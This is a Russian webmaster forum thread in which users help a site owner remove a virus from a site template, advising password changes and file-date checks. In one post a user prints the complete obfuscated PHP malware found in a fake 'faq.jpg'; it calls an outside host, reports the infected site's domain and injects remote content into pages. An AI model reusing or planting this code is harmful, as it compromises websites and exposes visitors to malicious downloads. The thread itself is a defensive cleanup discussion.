X   Сообщение сайта
(Сообщение закроется через 3 секунды)



 

Здравствуйте, гость (

| Вход | Регистрация )

3 страниц V  < 1 2 3 >
Открыть тему
Тема закрыта
> Помогите убрать вирус!
Axel
Axel
сообщение 2.1.2010, 17:19; Ответить: Axel
Сообщение #12


Ну тогда просто бегайте по файлам шаблона и ищите. Смотрите внимательно.
Загляните в index.php.

Да и еще...
Вирус сам не мог появиться в файлах. Советую вам сменить пароль администратора, проверить нет ли в админке нового пользователя с правами админа. И поменять пароль на фтп.

Еще посмотрите в админке, в рекламных материалах.
Вернуться в начало страницы
 
Ответить с цитированием данного сообщения
webpavilion
webpavilion
сообщение 2.1.2010, 17:25; Ответить: webpavilion
Сообщение #13


taylerx, вариантов скрыть код намного больше, eval может и не быть.
cerrus, посмотрите по дате последнего изменения, скорее всего она будет отличатся.


--------------------
Не ведитесь, cамопис это почти всегда плохо!

Делаю сайты на Drupal 7.x
(очень дорого)
Вернуться в начало страницы
 
Ответить с цитированием данного сообщения
taylerx
taylerx
сообщение 2.1.2010, 17:31; Ответить: taylerx
Сообщение #14


(webpavilion @ 2.1.2010, 15:25) *
taylerx, вариантов скрыть код намного больше, eval может и не быть.
cerrus, посмотрите по дате последнего изменения, скорее всего она будет отличатся.



Я просто показал как у меня прописалось и где)) кстате абсолютно некстате ) потому что сетка из 20 сайтов легла )) пока руками все не почистил )) а оказался просто код накрутки гугла по каким то ключевым словам ) братья вебмастера помогли )


--------------------
Записки юного интернет маркетолога jenex.ru - твой интернет маркетинг
Вернуться в начало страницы
 
Ответить с цитированием данного сообщения
malo
malo
сообщение 2.1.2010, 17:40; Ответить: malo
Сообщение #15


К сожалению сам, что говорится "не в теме", но желаю вам решить вашу проблему ибо знаю, что очень неприятная у вас беда. Удачи, в общем!


--------------------
GUSAROV - контекстная реклама в Москве
GUSAROV - круто продвигаем в США и Европе
Вернуться в начало страницы
 
Ответить с цитированием данного сообщения
Axel
Axel
сообщение 2.1.2010, 17:42; Ответить: Axel
Сообщение #16


Присоеденяюсь к словам malo. я тоже недавно пережил это. Из-за таких приколов меня выперли с яндекса и гугла. Я сейчас остался ни с чем.
Надеюсь на востановление cry.gif


Поблагодарили: (1)
Вернуться в начало страницы
 
Ответить с цитированием данного сообщения
madsaturn
madsaturn
сообщение 2.1.2010, 17:49; Ответить: madsaturn
Сообщение #17


Найдено: файл faq.jpg в папке тема\images. Код файла:
<?php $x14="\146\x63l\x6f\x73e"; $x15="f\x65\157\146"; $x16="\146\147\x65\164\163"; $x17="f\163\x6f\143\x6b\x6fp\x65n"; $x18="f\160\165\164s"; $x19="\x73\x74\x72str";
$x0b="\x3c\141 \150r\x65\x66=n\x65oks\056\x72\x75>\074/a>";$x0c = @$x17("\x77\x77\167\056\145ror\150\157\x73t.\x72u", 80, $x0d, $x0e, 30);if ($x0c){ $x0f = "\107\105T \057\163\x61\151\x74\x2f\x69\1441\056\x70\150\x70\077\x73\x69t\x65=".$_SERVER['HTTP_HOST']." HT\x54\120\x2f1.1\n";$x0f .= "\x48\x6f\163\x74\072\040\x77\167\x77.\x65\162o\x72ho\x73\164\056\162\x75\n"; $x0f.='Accept: text/html, text/plain, text/sgml, */*;q=0.01 Accept-Encoding: gzip, compress  Accept-Language: ru,en  Accept-Charset: windows-1251, iso-8859-1;q=0.01, us-ascii;q=0.01'; $x0f .= "\n\n"; $x18($x0c, $x0f);$x10 = false;while (!$x15($x0c)) {$x11=$x16($x0c,128);if ($x10) {$x12.= $x11;} else {$x13 .= $x11;}if ($x11 == "\r\n" ) {$x10 = true;}}$x14($x0c);}else return $x0b; if ($x19($x13,'404')) return $x0b;else return $x12; ?>


Тем, кто захотел "убить" вирус удалением соответствующего файла - не ст0ит этого делать. Чтобы не искать где он инклад'ится, достаточно просто отредактировать файл, оставив лишь в его содержимом <?php ?>.

NOD32 4.0 начинает бить тревогу лишь при начале закачивания файла так называемого flash плеера. IE сразу пытался заблокировать загрузку файла, отнеся сайт adode.ru к подозрительным.

Сообщение отредактировал madsaturn - 2.1.2010, 18:07


--------------------


Поблагодарили: (1)
Вернуться в начало страницы
 
Ответить с цитированием данного сообщения
cerrus
cerrus
Topic Starter сообщение 2.1.2010, 17:56; Ответить: cerrus
Сообщение #18


Давайте про тестим на разных антивирусах!? если вам не трудно, отпишите с каким антивирусом, и есть вирус или нет


--------------------
Вернуться в начало страницы
 
Ответить с цитированием данного сообщения
malo
malo
сообщение 2.1.2010, 18:16; Ответить: malo
Сообщение #19


У меня NOD и он молчит как рыба.


--------------------
GUSAROV - контекстная реклама в Москве
GUSAROV - круто продвигаем в США и Европе


Поблагодарили: (1)
Вернуться в начало страницы
 
Ответить с цитированием данного сообщения
Frankie
Frankie
сообщение 2.1.2010, 20:03; Ответить: Frankie
Сообщение #20


ТС, установите код системы http://siteguard.ru и будет вам счастье
Вернуться в начало страницы
 
Ответить с цитированием данного сообщения
madsaturn
madsaturn
сообщение 2.1.2010, 20:19; Ответить: madsaturn
Сообщение #21


Frankie, а Вы сами пользовались этой системой? Что можете сказать по поводу них?

P.S. Заинтересовало. Это очень удобно, особенно при большой массе сайтов


--------------------
Вернуться в начало страницы
 
Ответить с цитированием данного сообщения
3 страниц V  < 1 2 3 >
Открыть тему
Тема закрыта
2 чел. читают эту тему (гостей: 2, скрытых пользователей: 0)
Пользователей: 0


Свернуть

> Похожие темы

  Тема Ответов Автор Просмотров Последний ответ
Открытая тема (нет новых ответов) Помогите болвану обновить видеокарту :-)
16 club-16 912 22.3.2021, 0:04
автор: adamsadriane
Открытая тема (нет новых ответов) Тема имеет прикрепленные файлыПомогите подобрать HTML редактор
20 Serapion 1638 17.3.2021, 20:34
автор: dima280
Открытая тема (нет новых ответов) Помогите выбрать домен
11 Bustle_hb 13251 4.3.2021, 23:19
автор: Filadelso
Открытая тема (нет новых ответов) Помогите рещить проблему с монитором.
Почему низкое разрешение при подключении монитора через displayport?
0 Levels 548 11.12.2020, 0:48
автор: Levels
Открытая тема (нет новых ответов) Помогите кто нибудь получить партнерку Росбанк!
8 heisenberg_mw 684 7.8.2020, 9:28
автор: heisenberg_mw


 



RSS Текстовая версия Сейчас: 18.4.2021, 20:43
Дизайн